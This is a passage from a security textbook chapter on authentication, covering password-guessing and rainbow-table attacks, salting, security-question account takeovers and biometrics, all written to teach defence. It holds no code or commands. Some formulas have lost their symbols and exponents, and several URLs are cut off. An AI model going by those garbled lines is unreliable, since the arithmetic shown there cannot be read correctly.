Some account IDs are not hard to guess. Some places assign user IDs as the user’s last name followed by first initial. Others use three initials or some other scheme that outsiders can easily predict. Often for online transactions your account ID is your email address, to make it easy for you to remember. Other accounts identify you by telephone, social security, or some other identity number. With too many accounts to remember, you may welcome places that identify you by something you know well because you use it often. But using it often also means other people can know or guess it as well. For these reasons, many people could easily, although falsely, claim to be you by present- ing one of your known identifiers.

Authentication, on the other hand, should be reliable. If identification asserts your identity, authentication confirms that you are who you purport to be. Although identi- fiers may be widely known or easily determined, authentication should be private. How- ever, if the authentication process is not strong enough, it will not be secure. Consider, for example, how one political candidate’s email was compromised by a not-private- enough authentication process as described in Sidebar 2-1.

SIDEBAR 2-1 Vice Presidential Candidate Sarah Palin’s Email Exposed

During the 2008 U.S. presidential campaign, vice presidential candidate Sarah Palin’s personal email account was hacked. Contents of email mes- sages and Palin’s contacts list were posted on a public bulletin board. A 20-year-old University of Tennessee student, David Kernell, was subse- quently convicted of unauthorized access to obtain information from her computer and sentenced to a year and a day.

How could a college student have accessed the computer of a high- profile public official who at the time was governor of Alaska and a U.S. vice presidential candidate under protection of the U.S. Secret Service? Easy: He simply pretended to be her. But surely nobody (other than, perhaps, comedian Tina Fey) could successfully impersonate her. Here is how easy the attack was.

Governor Palin’s email account was [email protected]. The account ID was well known because of news reports of an earlier incident involving Palin’s using her personal account for official state communica- tions; even without the publicity the account name would not have been hard to guess.

But the password? No, the student didn’t guess the password. All he had to do was pretend to be Palin and claim she had forgotten her password. Yahoo asked Kernell the security questions Palin had filed with Yahoo on opening the account: birth date (found from Wikipedia), postcode

Identities are typically public or well known. Authentication should be private.


40 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

(public knowledge, especially because she had gotten public attention for not using the official governor’s mansion), and where she met her husband (part of her unofficial biography circulating during the campaign: she and her husband met in high school). With those three answers, Kernell was able to change her password (to “popcorn,” something appealing to most college students). From that point on, not only was Kernell effectively Palin, the real Palin could not access her own email account because did she not know the new password.

Authentication mechanisms use any of three qualities to confirm a user’s identity:

• Something the user knows. Passwords, PIN numbers, passphrases, a secret handshake, and mother’s maiden name are examples of what a user may know.

• Something the user is. These authenticators, called biometrics, are based on a physical characteristic of the user, such as a fingerprint, the pattern of a person’s voice, or a face (picture). These authentication methods are old (we recognize friends in person by their faces or on a telephone by their voices) but are just starting to be used in computer authentications.

• Something the user has. Identity badges, physical keys, a driver’s license, or a uniform are common examples of things people have that make them recognizable.

Two or more forms can be com- bined; for example, a bank card and a PIN combine something the user has (the card) with something the user knows (the PIN).

Although passwords were the first form of computer authentication and remain pop- ular, these other forms are becoming easier to use, less expensive, and more common. In the following sections we examine each of these forms of authentication.

Authentication Based on Phrases and Facts: Something You Know

Password protection seems to offer a relatively secure system for confirming identity- related information, but human practice sometimes degrades its quality. Let us explore vulnerabilities in authentication, focusing on the most common authentication param- eter, the password. In this section we consider the nature of passwords, criteria for selecting them, and ways of using them for authentication. As you read the follow- ing discussion of password vulnerabilities, think about how well these identity attacks would work against security questions and other authentication schemes with which you may be familiar. And remember how much information about us is known—some- times because we reveal it ourselves—as described in Sidebar 2-2.

SIDEBAR 2-1 Continued

Authentication is based on something you know, are, or have.

Section 2.1 Authentication 41

SIDEBAR 2-2 Facebook Pages Answer Security Questions

George Bronk, a 23-year-old resident of Sacramento, California, pleaded guilty on 13 January 2011 to charges including computer intrusion, false impersonation, and possession of child pornography. His crimes involved impersonating women with data obtained from their Facebook accounts.

According to an Associated Press news story [THO11], Bronk scanned Facebook pages for pages showing women’s email addresses. He then read their Facebook profiles carefully for clues that could help him answer security questions, such as a favorite color or a father’s mid- dle name. With these profile clues, Bronk then turned to the email account providers. Using the same technique as Kernell, Bronk pretended to have forgotten his (her) password and sometimes succeeded at answering the security questions necessary to recover a forgotten password. He some- times used the same technique to obtain access to Facebook accounts.

After he had the women’s passwords, he perused their sent mail fold- ers for embarrassing photographs; he sometimes mailed those to a victim’s contacts or posted them on her Facebook page. He carried out his activi- ties from December 2009 to October 2010. When police confiscated his computer and analyzed its contents, they found 3200 Internet contacts and 172 email files containing explicit photographs; police sent mail to all the contacts to ask if they had been victimized, and 46 replied that they had. The victims lived in England, Washington, D.C., and 17 states from Califor- nia to New Hampshire.

The California attorney general’s office advised those using email and social-networking sites to pick security questions and answers that aren’t posted on public sites, or to add numbers or other characters to common security answers. Additional safety tips are on the attorney general’s website.

Password Use

The use of passwords is fairly straightforward, as you probably already know from experience. A user enters some piece of identification, such as a name or an assigned user ID; this identification can be available to the public or can be easy to guess because it does not provide the real protection. The protection system then requests a password from the user. If the password matches the one on file for the user, the user is authenti- cated and allowed access. If the password match fails, the system requests the password again, in case the user mistyped.

Even though passwords are widely used, they suffer from some difficulties of use:

• Use. Supplying a password for each access to an object can be inconvenient and time consuming.

• Disclosure. If a user discloses a password to an unauthorized individual, the object becomes immediately accessible. If the user then changes the password to re-protect the object, the user must inform any other legitimate users of the new password because their old password will fail.

42 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

• Revocation. To revoke one user’s access right to an object, someone must change the password, thereby causing the same problems as disclosure.

• Loss. Depending on how the passwords are implemented, it may be impossible to retrieve a lost or forgotten password. The operators or system administrators can certainly intervene and provide a new password, but often they cannot deter- mine what password a user had chosen previously. If the user loses (or forgets) the password, administrators must assign a new one.

Attacking and Protecting Passwords

How secure are passwords themselves? Passwords are somewhat limited as protec- tion devices because of the relatively small number of bits of information they contain. Worse, people pick passwords that do not even take advantage of the number of bits available: Choosing a well-known string, such as qwerty, password, or 123456 reduces an attacker’s uncertainty or difficulty essentially to zero.

Knight and Hartley [KNI98] list, in order, 12 steps an attacker might try in order to determine a password. These steps are in increasing degree of difficulty (number of guesses), and so they indicate the amount of work to which the attacker must go in order to derive a password. Here are their password guessing steps:

• no password

• the same as the user ID

• is, or is derived from, the user’s name

• on a common word list (for example, password, secret, private) plus common names and patterns (for example, qwerty, aaaaaa)

• contained in a short college dictionary

• contained in a complete English word list

• contained in common non-English-language dictionaries

• contained in a short college dictionary with capitalizations (PaSsWorD) or sub- stitutions (digit 0 for letter O, and so forth)

• contained in a complete English dictionary with capitalizations or substitutions

• contained in common non-English dictionaries with capitalization or substitutions

• obtained by brute force, trying all possible combinations of alphabetic characters

• obtained by brute force, trying all possible combinations from the full character set

Although the last step will always succeed, the steps immediately pre- ceding it are so time consuming that they will deter all but the most dedi- cated attacker for whom time is not a limiting factor.

We now expand on some of these approaches.

Every password can be guessed; password strength is determined by how many guesses are required.

Section 2.1 Authentication 43

Dictionary Attacks Several network sites post dictionaries of phrases, science fiction character names, places, mythological names, Chinese words, Yiddish words, and other specialized lists. These lists help site administrators identify users who have chosen weak passwords, but the same dictionaries can also be used by attackers of sites that do not have such attentive administrators. The COPS [FAR90], Crack [MUF92], and SATAN [FAR95] utilities allow an administrator to scan a system for weak passwords. But these same utilities, or other homemade ones, allow attackers to do the same. Now Internet sites offer so-called password recovery software as freeware or shareware for under $20. (These are password-cracking programs.)

People think they can be clever by picking a simple password and replacing certain characters, such as 0 (zero) for letter O, 1 (one) for letter I or L, 3 (three) for letter E or @ (at) for letter A. But users aren’t the only people who could think up these substitutions.

Inferring Passwords Likely for a User If Sandy is selecting a password, she is probably not choosing a word completely at random. Most likely Sandy’s password is something meaningful to her. People typically choose personal passwords, such as the name of a spouse, child, other family member, or pet. For any given person, the number of such possibilities is only a dozen or two. Trying this many passwords by computer takes well under a second! Even a person working by hand could try ten likely candidates in a minute or two.

Thus, what seemed formidable in theory is in fact quite vulnerable in practice, and the likelihood of successful penetration is frighteningly high. Morris and Thompson [MOR79] confirmed our fears in their report on the results of having gathered pass- words from many users, shown in Table 2-1. Figure 2-1 (based on data from that study) shows the characteristics of the 3,289 passwords gathered. The results from that study are distressing, and the situation today is likely to be the same. Of those passwords, 86 percent could be uncovered in about one week’s worth of 24-hour-a-day testing, using the very generous estimate of 1 millisecond per password check.

TABLE 2-1 Password Characteristics

Number Percentage Structure

15 �1% Single ASCII character

72 2% Two ASCII characters

464 14% Three ASCII characters

477 14% Four alphabetic letters

706 21% Five alphabetic letters, all the same case

605 18% Six lowercase alphabetic letters

492 15% Words in dictionaries or lists of names

2831 86% Total of all categories above

44 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

Lest you dismiss these results as dated (they were reported in 1979), Klein repeated the experiment in 1990 [KLE90] and Spafford in 1992 [SPA92a]. Each collected approximately 15,000 passwords. Klein reported that 2.7 percent of the passwords were guessed in only 15 minutes of machine time (at the speed of 1990s computers), and 21 percent were guessed within a week! Spafford found that the average password length was 6.8 characters and that 28.9 percent consisted of only lowercase alphabetic characters.

Then, in 2002 the British online bank Egg found its users still choosing weak pass- words [BUX02]. A full 50 percent of passwords for their online banking service were family members’ names: 23 percent children’s names, 19 percent a spouse or partner, and 9 percent their own. Alas, pets came in at only 8 percent, while celebrities and football (soccer) stars tied at 9 percent each. And in 1998, Knight and Hartley [KNI98] reported that approximately 35 percent of passwords are deduced from syllables and initials of the account owner’s name. In December 2009 the computer security firm Imperva analyzed 34 million Facebook passwords that had previously been disclosed accidentally, reporting that

• about 30 per cent of users chose passwords of fewer than seven characters.

• nearly 50 per cent of people used names, slang words, dictionary words or trivial passwords—consecutive digits, adjacent keyboard keys and so on.

• most popular passwords included 12345, 123456, 1234567, password, and iloveyou, in the top ten.

FIGURE 2-1 Distribution of Password Types

One character 0%

Two characters 2%

Three characters 14%

Four characters, all letters


Five letters, all same case


Six letters, l owercase


Words in dictionaries or lists of names


Other good passwords


Section 2.1 Authentication 45

Two friends we know told us their passwords as we helped them administer their systems, and their passwords would both have been among the first we would have guessed. But, you say, these are amateurs unaware of the security risk of a weak pass- word. At a recent meeting, a security expert related this experience: He thought he had chosen a solid password, so he invited a class of students to ask him questions and offer guesses as to his password. He was amazed that they asked only a few questions before they had deduced the password. And this was a security expert!

The conclusion we draw from these incidents is that people choose weak and easily guessed passwords more frequently than some might expect. Clearly, people find some- thing in the password process that is difficult or unpleasant: Either people are unable to choose good passwords, perhaps because of the pressure of the situation, or they fear they will forget solid passwords. In either case, passwords are not always good authenticators.

Guessing Probable Passwords Think of a word. Is the word you thought of long? Is it uncommon? Is it hard to spell or to pronounce? The answer to all three of these questions is probably no.

Penetrators searching for passwords realize these very human characteristics and use them to their advantage. Therefore, penetrators try techniques that are likely to lead to rapid success. If people prefer short passwords to long ones, the penetrator will plan to try all passwords but to try them in order by length. There are only 261 � 262 � 263 � 18,278 (not case sensitive) passwords of length 3 or less. Testing that many passwords would be difficult but possible for a human, but repetitive password testing is an easy computer application. At an assumed rate of one password per millisecond, all of these passwords can be checked in 18.278 seconds, hardly a challenge with a computer. Even expanding the tries to 4 or 5 characters raises the count only to 475 seconds (about 8 minutes) or 12,356 seconds (about 3.5 hours), respectively.

This analysis assumes that people choose passwords such as vxlag and msms as often as they pick enter and beer. However, people tend to choose names or words they can remember. Many computing systems have spelling checkers that can be used to check for spelling errors and typographic mistakes in documents. These spelling check- ers sometimes carry online dictionaries of the most common English words. One con- tains a dictionary of 80,000 words. Trying all of these words as passwords takes only 80 seconds at the unrealistically generous estimate of one guess per millisecond.

Nobody knows what the most popular password is, although some conjecture it is “password.” Other common ones are user, abc123, aaaaaa (or aaaaa or aaaaaaa), 123456, and asdfg or qwerty (the arrangement of keys on a keyboard). Lists of com- mon passwords are easy to find (for example, analysis_of_databases_that_were_hacked_28_2009.php). See also http://threatpost. com/password-is-no-longer-the-worst-password/103746 for a list of the most common passwords, obtained in a data breach from Adobe, Inc. From these examples you can tell that people often use anything simple that comes to mind as a pass- word, so human attackers might succeed by trying a few popular passwords.

Common passwords—such as qwerty, password, 123456—are used astonishingly often.

46 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

Defeating Concealment Easier than guessing a password is just to read one from a table, like the sample table shown in Table 2-2. The operating system authenticates a user by asking for a name and password, which it then has to validate, most likely by comparing to a value stored in a table. But that table then becomes a treasure trove for evil-doers: Obtaining the table gives access to all accounts because it contains not just one but all user IDs and their corresponding passwords.

Operating systems stymie that approach by storing passwords not in their public form but in a concealed form (using encryption, which we describe later in this chapter), as shown in Table 2-3. When a user creates a password, the operating system accepts and immediately conceals it, storing the unreadable version. Later when the user attempts to authenticate by entering a user ID and password, the operating system accepts whatever is typed, applies the same concealing function, and compares the concealed version with what is stored. If the two forms match, the authentication passes.

We used the term “conceal” in the previous paragraph because sometimes the operating system performs some form of scrambling that is not really encryption, or sometimes it is a restricted form of encryp- tion. The only critical point is that the process be one-way: Converting a password to its concealment form is simple, but going the other way (starting with a concealed version and deriving the corresponding password) is effectively impossible. (For this reason, on some websites if you forget your password, the system can reset your password to a new, random value, but it cannot tell you what your forgotten password was.)

For active authentication, that is, entering identity and authenticator to be able to access a system, most systems lock out a user who fails a small number of successive login attempts. This failure count prevents an attacker from attempting more than a few guesses. (Note, however, that this lockout feature gives an attacker a way to pre- vent access by a legitimate user: simply enter enough incorrect passwords to cause the

TABLE 2-2 Sample Password Table

Identity Password

Jane qwerty

Pat aaaaaa

Phillip oct31witch

Roz aaaaaa

Herman guessme

Claire aq3wm$oto!4

TABLE 2-3 Sample Password Table with Concealed Password Values

Identity Password

Jane 0x471aa2d2

Pat 0x13b9c32f

Phillip 0x01c142be

Roz 0x13b9c32f

Herman 0x5202aae2

Claire 0x488b8c27

Operating systems store passwords in hidden (encrypted) form so that compromising the id–password list does not give immediate access to all user accounts.

Section 2.1 Authentication 47

system to block the account.) However, if the attacker obtains an encrypted password table and learns the concealment algorithm, a computer program can easily test hun- dreds of thousands of guesses in a matter of minutes.

As numerous studies in this chapter confirmed, people often use one of a few pre- dictable passwords. The interceptor can create what is called a rainbow table, a list of the concealed forms of the common passwords, as shown in Table 2-4. Searching for matching entries in an intercepted password table, the intruder can learn that Jan’s password is 123456 and Mike’s is qwerty. The attacker sorts the table to make lookup fast.

Scrambled passwords have yet another vulnerability. Notice in Table 2-2 that Pat and Roz both chose the same password. Both copies will have the same concealed value, so someone who intercepts the table can learn that users Pat and Roz have the same password. Knowing that, the interceptor can also guess that Pat and Roz both chose common passwords, and start trying the usual ones; when one works, the other will, too.

To counter both these threats, some systems use an extra piece called the salt. A salt is an extra data field different for each user, perhaps the date the account was created or a part of the user’s name. The salt value is joined to the password before the combination is transformed by concealment. In this way, Pat�aaaaaa has a different concealment value from Roz�aaaaaa, as shown in Table 2-5. Also, an attacker can- not build a rainbow table because the common passwords now all have a unique component, too.

TABLE 2-4 Sample Rainbow Table for Common Passwords

Original Password

Encrypted Password

asdfg 0x023c94fc

p@55w0rd 0x04ff38d9

aaaaaa 0x13b9c32f

password 0x2129f30d

qwerty 0x471aa2d2

12345678 0x4f2c4dd8

123456 0x5903c34d

aaaaa 0x8384a8c8


TABLE 2-5 Sample Password Table with Personalized Concealed Password Values


ID+password (not stored

in table)

Stored Authentication


Jane Jan+qwerty 0x1d46e346

Pat Pat+aaaaaa 0x2d5d3e44

Phillip Phi+oct31witch 0xc23c04d8

Roz Roz+aaaaaa 0xe30f4d27

Herman Her+guessme 0x8127f48d

Claire Cla+aq3wm$oto!4 0x5209d942

Rainbow table: precomputed list of popular values, such as passwords

Salt: user-specific component joined to an encrypted password to distinguish identical passwords

48 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

Exhaustive Attack In an exhaustive or brute force attack, the attacker tries all possible passwords, usually in some automated fashion. Of course, the number of possible passwords depends on the implementation of the particular computing system. For example, if passwords are words consisting of the 26 characters A–Z and can be of any length from 1 to 8 characters, there are 261 passwords of 1 character, 262 passwords of 2 characters, and 268 passwords of 8 characters. Therefore, the system as a whole has 261 � 262 � ... � 268 � 269 � 1 � 5 * 1012 or five million million possible passwords. That number seems intractable enough. If we were to use a computer to create and try each password at a rate of checking one password per millisecond, it would take on the order of 150 years to test all eight-letter passwords. But if we can speed up the search to one password per microsecond, the work factor drops to about two months. This amount of time is reasonable for an attacker to invest if the reward is large. For instance, an intruder may try brute force to break the password on a file of credit card numbers or bank account information.

But the break-in time can be made even more tractable in a number of ways. Search- ing for a single particular password does not necessarily require all passwords to be tried; an intruder need try only until the correct password is identified. If the set of all possible passwords were evenly distributed, an intruder would likely need to try only half of the password space: the expected number of searches to find any particular password. However, an intruder can also use to advantage the uneven distribution of passwords. Because a password has to be remembered, people tend to pick simple pass- words; therefore, the intruder should try short combinations of characters before trying longer ones. This feature reduces the average time to find a match because it reduces the subset of the password space searched before finding a match. And as we described earlier, the attacker can build a rainbow table of the common passwords, which reduces the attack effort to a simple table lookup.

All these techniques to defeat passwords, combined with usability issues, indicate that we need to look for other methods of authentication. In the next section we explore how to implement strong authentication as a control against impersonation attacks. For another example of an authentication problem, see Sidebar 2-3.

Good Passwords

Chosen carefully, passwords can be strong authenticators. The term “password” implies a single word, but you can actually use a nonexistent word or a phrase. So 2Brn2Bti? could be a password (derived from “to be or not to be, that is the question”) as could “PayTaxesApril15th.” Note that these choices have several important characteristics: The strings are long, they are chosen from a large set of characters, and they do not appear in a dictionary. These properties make the password difficult (but, of course, not impossible) to determine. If we do use passwords, we can improve their security by a few simple practices:

• Use characters other than just a–z. If passwords are chosen from the letters a–z, there are only 26 possibilities for each character. Adding digits expands the number of possibilities to 36. Using both uppercase and lowercase letters plus digits expands the number of possible characters to 62. Although this

Section 2.1 Authentication 49

change seems small, the effect is large when someone is testing a full space of all possible combinations of characters. It takes about 100 hours to test all 6-letter words chosen from letters of one case only, but it takes about 2 years to test all 6-symbol passwords from upper- and lowercase letters and digits. Although 100 hours is reasonable, 2 years is oppressive enough to make this attack far less attractive.

• Choose long passwords. The combinatorial explosion of password guessing dif- ficulty begins around length 4 or 5. Choosing longer passwords makes it less likely that a password will be uncovered. Remember that a brute force penetra- tion can stop as soon as the password is found. Some penetrators will try the easy cases—known words and short passwords—and move on to another target if those attacks fail.

• Avoid actual names or words. Theoretically, there are 266, or about 300 million 6-letter “words” (meaning any combination of letters), but there are only about

SIDEBAR 2-3 Will the Real Earl of Buckingham Please Step Forward?

A man claiming to be the Earl of Buckingham was identified as Charlie Stop- ford, a man who had disappeared from his family in Florida in 1983 and assumed the identity of Christopher Buckingham, an 8-month-old baby who died in 1963. Questioned in England in 2005 after a check of passport details revealed the connection to the deceased Buckingham baby, Stopford was arrested when he didn’t know other correlating family details [PAN06]. (His occupation at the time of his arrest? Computer security consultant.)

The British authorities knew he was not Christopher Buckingham, but what was his real identity? The answer was discovered only because his family in the United States thought it recognized him from photos and a news story: Stopford was a husband and father who had disappeared more than 20 years earlier. Because he had been in the U.S. Navy (in military intelligence, no less) and his adult fingerprints were on file, authorities were able to make a positive identification.

As for the title he appropriated for himself, there has been no Earl of Buckingham since 1687.

In modern society we are accustomed to a full paper trail document- ing events from birth through death, but not everybody fits neatly into that model. Consider the case of certain people who for various reasons need to change their identity. When the government changes someone’s identity (for example, when a witness goes into hiding), the new identity includes school records, addresses, employment records, and so forth.

How can we authenticate the identity of war refugees whose home country may no longer exist, let alone civil government and a records office? What should we do to authenticate children born into nomadic tribes that keep no formal birth records? How does an adult confirm an identity after fleeing a hostile territory without waiting at the passport office for two weeks for a document?

50 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

150,000 words in a good collegiate dictionary, ignoring length. By picking one of the 99.95 percent nonwords, you force the attacker to use a longer brute-force search instead of the abbreviated dictionary search.

• Use a string you can remember. Password choice is a double bind. To remember the password easily, you want one that has special meaning to you. However, you don’t want someone else to be able to guess this special meaning. One easy-to-remember password is UcnB2s. That unlikely looking jumble is a sim- ple transformation of “you can never be too secure.” The first letters of words from a song, a few letters from different words of a private phrase, or something involving a memorable basketball score are examples of reasonable passwords. But don’t be too obvious. Password-cracking tools also test replacements like 0 (zero) for o or O (letter “oh”) and 1 (one) for l (letter “ell”) or $ for S (letter “ess”). So I10v3U is already in the search file.

• Use variants for multiple passwords. With accounts, websites, and subscrip- tions, an individual can easily amass 50 or 100 passwords, which is clearly too many to remember. Unless you use a trick. Start with a phrase as in the previous suggestion: Ih1b2s (I have one brother, two sisters). Then append some patterns involving the first few vowels and consonants of the entity for the password: Ih1b2sIvs for vIsa, Ih1b2sAfc for fAcebook, and so forth.

• Change the password regularly. Even if you have no reason to suspect that someone has compromised the password, you should change it from time to time. A penetrator may break a password system by obtaining an old list or working exhaustively on an encrypted list.

• Don’t write it down. Note: This time-honored advice is relevant only if physi- cal security is a serious risk. People who have accounts on many machines and servers, and with many applications or sites, may have trouble remembering all the access codes. Setting all codes the same or using insecure but easy-to- remember passwords may be more risky than writing passwords on a reasonably well-protected list. (Obviously, you should not tape your PIN to your bank card or post your password on your computer screen.)

• Don’t tell anyone else. The easiest attack is social engineering, in which the attacker contacts the system’s administrator or a user to elicit the password in some way. For example, the attacker may phone a user, claim to be “system administration,” and ask the user to verify the user’s password. Under no cir- cumstances should you ever give out your private password; legitimate admin- istrators can circumvent your password if need be, and others are merely trying to deceive you.

These principles lead to solid password selection, but they lead to a different prob- lem: People choose simple passwords because they have to create and remember so many passwords. Bank accounts, email access, library services, numerous websites, and other applications all seem to require a password. We cannot blame users for being tempted to use one simple password for all of them when the alternative is trying to remember dozens if not hundreds of strong passwords, as discussed in Sidebar 2-4.

Section 2.1 Authentication 51

Other Things Known

Passwords, or rather something only the user knows, are one form of strong authentica- tion. Passwords are easy to create and administer, inexpensive to use, and easy to under- stand. However, users too often choose passwords that are easy for them to remember, but not coincidentally easy for others to guess. Also, users can forget passwords or tell them to others. Passwords come from the authentication factor of something the user knows, and unfortunately people’s brains are imperfect.

Consequently, several other approaches to “something the user knows” have been proposed. For example, Sidebar 2-5 describes authentication approaches employing a user’s knowledge instead of a password. However, few user knowledge authentication techniques have been well tested and few scale up in any useful way; these approaches are still being researched.

SIDEBAR 2-4 Usability in the Small versus Usability in the Large

To an application developer seeking a reasonable control, a password seems to be a straightforward mechanism for protecting an asset. But when many applications require passwords, the user’s simple job of remember- ing one or two passwords is transformed into the nightmare of keeping track of a large number of them. Indeed, a visit to http://www.password suggests that users often have difficulty managing a collection of passwords. The site introduces you to a password and login organizer that is cheaply and easily purchased. In the words of the vendor, it is “The complete password manager for the busy Web master or network adminis- trator . . . Safe and easy, books don’t crash! Now you can manage all your passwords in one hardbound book.”

Although managing one password or token for an application might seem easy (we call it “usability in the small”), managing many passwords or tokens at once becomes a daunting task (“usability in the large”). The problem of remembering a large variety of items has been documented in the psychology literature since the 1950s, when Miller [MIL56] pointed out that people remember things by breaking them into memorable chunks, whether they are digits, letters, words, or some other identifiable entity. Miller initially documented how young adults had a memory span of seven (plus or minus two) chunks. Subsequent research revealed that the memory span depends on the nature of the chunk: longer chunks led to shorter memory spans: seven for digits, six for letters, and five for words. Other factors affect a person’s memory span, too. Cowan [COW01] suggests that we assume a working memory span of four chunks for young adults, with shorter spans for children and senior citizens. For these reasons, usabil- ity should inform not only the choice of appropriate password construction (the small) but also the security architecture itself (the large).

52 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

Security Questions Instead of passwords, some companies use questions to which (presumably) only the right person would know the answer. Such questions include mother’s maiden name, street name from childhood, model of first automobile, and name of favorite teacher. The user picks relevant questions and supplies the answers when creating an identity.

The problem with such questions is that the answers to some can be determined with little difficulty, as was the case for Sarah Palin’s email account. With the number of public records available online, mother’s maiden name and street name are often avail- able, and school friends could guess a small number of possible favorite teachers. Anitra Babic and colleagues [BAB09] documented the weakness of many of the supposedly secret question systems in current use. Joseph Bonneau and Sören Preibusch [BON10]

SIDEBAR 2-5 Using Personal Patterns for Authentication

Lamandé [LAM10] reports that the GrIDSure authentication system (http:// has been integrated into Microsoft’s Unified Access Gateway (UAG) platform. This system allows a user to authenticate herself with a one-time passcode based on a pattern of squares chosen from a grid. When the user wishes access, she is presented with a grid containing randomly assigned numbers; she then enters as her passcode the num- bers that correspond to her chosen pattern. Because the displayed grid numbers change each time the grid is presented, the pattern enables the entered passcode to be a one-time code. GrIDSure is an attempt to scale a “user knowledge” approach from usability in the small to usability in the large. Many researchers (see, for example, [SAS07, BON08, and BID09]) have examined aspects of GrIDSure’s security and usability, with mixed results. It remains to be seen how the use of GrIDSure compares with the use of a collection of traditional passwords.

Similarly, the ImageShield product from Confident Technologies (www asks a user to enroll by choosing three cat- egories from a list; the categories might be cats, cars, and flowers, for example. Then at authentication time, the user is shown a grid of pictures, some from the user’s categories and others not. Each picture has a 1-char- acter letter or number. The user’s one-time access string is the characters attached to the images from the user’s preselected categories. So, if the pictures included a cat with label A, a flower with label 7, and seven other images, the user’s access value would be A7. The images, characters and positions change for each access, so the authenticator differs similarly.

Authentication schemes like this are based on simple puzzles that the user can solve easily but that an imposter would be unable to guess successfully. However, with novel authentication schemes, we have to be aware of the phenomenon of usability in the small and the large: Can a user remember squares on a grid and categories of pictures and a favorite vacation spot and the formula 2a�c and many other nonobvious things?

Section 2.1 Authentication 53

did a detailed survey of website authentication methods and found little uniformity, many weaknesses, and no apparent correlation between the value of a site’s data and its authentication requirements.

Passwords are becoming oppressive as many websites now ask users to log in. But when faced with a system that is difficult to handle, users often take the easy route: choosing an easy password and reusing it on many sites. To overcome that weakness, some systems use a form of authentication that cannot be stolen, duplicated, forgotten, lent, or lost: properties of the user, as we discuss in the next section. The technology for passing personal characteristics to a remote server requires more than a keyboard and pointing device, but such approaches are becoming more feasible, especially as pass- word table breaches increase.

Authentication Based on Biometrics: Something You Are

Biometrics are biological properties, based on some physical characteristic of the human body. The list of biometric authentication technologies is still growing. Now devices can recognize the following biometrics:

• fingerprint

• hand geometry (shape and size of fingers)

• retina and iris (parts of the eye)

• voice

• handwriting, signature, hand motion

• typing characteristics

• blood vessels in the finger or hand

• face

• facial features, such as nose shape or eye spacing

Authentication with biometrics has advantages over passwords because a biometric cannot be lost, stolen, forgotten, or shared and is always available, always at hand, so to speak. These characteristics are difficult, if not impossible, to forge.

Examples of Biometric Authenticators

Many physical characteristics are possibilities as authenticators. In this section we pre- sent examples of two of them, one for the size and shape of the hand, and one for the patterns of veins in the hand.

Figure 2-2 shows a hand geometry reader. The user places a hand on the sensors, which detect lengths and widths of fingers, curvature, and other characteristics.

An authentication device from Fujitsu reads the pattern of veins in the hand. This device does not require physical contact between the hand and the reader, which is an advantage for hygiene. The manufacturer claims a false acceptance rate of 0.00008 per- cent and false rejection rate of 0.01 percent, with a response time of less than one second. Figure 2-3 shows this device embedded in a computer mouse, so the user is automatically authenticated.

54 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

FIGURE 2-2 Hand Geometry Reader (Graeme Dawes/Shutterstock)

FIGURE 2-3 Hand Vein Reader (Permission for image provided courtesy of Fujitsu Frontech)

Section 2.1 Authentication 55

Problems with Use of Biometrics

Biometrics come with several problems:

• Biometrics are relatively new, and some people find their use intrusive. For example, people in some cultures are insulted by having to submit to finger- printing, because they think that only criminals are fingerprinted. Hand geome- try and face recognition (which can be done from a camera across the room) are scarcely invasive, but people have real concerns about peering into a laser beam or sticking a finger into a slot. (See [SCH06a] for some examples of people resisting biometrics.)

• Biometric recognition devices are costly, although as the devices become more popular, their cost per device should go down. Still, outfitting every user’s workstation with a reader can be expensive for a large company with many employees.

• Biometric readers and comparisons can become a single point of failure. Con- sider a retail application in which a biometric recognition is linked to a payment scheme: As one user puts it, “If my credit card fails to register, I can always pull out a second card, but if my fingerprint is not recognized, I have only that one finger.” (Fingerprint recognition is specific to a single finger; the pattern of one finger is not the same as another.) Manual laborers can actually rub off their fingerprints over time, and a sore or irritation may confound a fingerprint reader. Forgetting a password is a user’s fault; failing biometric authentication is not.

• All biometric readers use sampling and establish a threshold for acceptance of a close match. The device has to sample the biometric, measure often hundreds of key points, and compare that set of measurements with a template. Features vary slightly from one reading to the next, for example, if your face is tilted, if you press one side of a finger more than another, or if your voice is affected by a sinus infection. Variation reduces accuracy.

• Although equipment accuracy is improving, false readings still occur. We label a false positive or false accept a reading that is accepted when it should be rejected (that is, the authenticator does not match) and a false negative or false reject one that rejects when it should accept. Often, reducing a false positive rate increases false negatives, and vice versa. Sidebar 2-6 explains why we can never eliminate all false positives and negatives. The consequences for a false negative are usually less than for a false positive, so an acceptable system may have a false positive rate of 0.001 percent but a false negative rate of 1 per- cent. However, if the popu- lation is large and the asset extremely valuable, even these small percentages can lead to catastrophic results.

False positive: incorrectly confirming an identity.

False negative: incorrectly denying an identity.

56 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography

SIDEBAR 2-6 What False Positives and Negatives Really Mean

Screening systems must be able to judge the degree to which their match- ing schemes work well. That is, they must be able to determine if they are effectively identifying those people who are sought while not harming those people who are not sought. When a screening system compares something it has (such as a stored fingerprint) with something it is measuring (such as a finger’s characteristics), we call this a dichotomous system or test: There either is a match or there is not.

We can describe the dichotomy by using a Reference Standard, as depicted in Table 2-6, below. The Reference Standard is the set of rules that determines when a positive test means a positive result. We want to avoid two kinds of errors: false positives (when there is a match but should not be) and false negatives (when there is no match but should be).

We can measure the success of the screen by using four standard measures: sensitivity, prevalence, accuracy, and specificity. To see how they work, we assign variables to the entries in Table 2-6, as shown in Table 2-7.

Sensitivity measures the degree to which the screen selects those whose names correctly match the person sought. It is the proportion of positive results among all possible correct matches and is calculated as a / (a � c). Specificity measures the proportion of negative results among all people who are not sought; it is calculated as d / (b � d). Sensitivity and specificity describe how well a test discriminates between cases with and without a certain condition.

Accuracy or efficacy measures the degree to which the test or screen correctly flags the condition or situation; it is measured as (a � d) / (a � b � c � d). Prevalence tells us how common a certain condi- tion or situation is. It is measured as (a � c) / (a � b � c � d).

Sensitivity and specificity are statistically related: When one increases, the other decreases. Thus, you cannot simply say that you are going to reduce or remove false positives; such an action is sure to increase the false negatives. Instead, you have to find a balance between an acceptable

TABLE 2-6 Reference Standard for Describing Dichotomous Tests

Is the Person Claimed Is Not the Person Claimed

Test is Positive (There is a match.)

True Positive False Positive

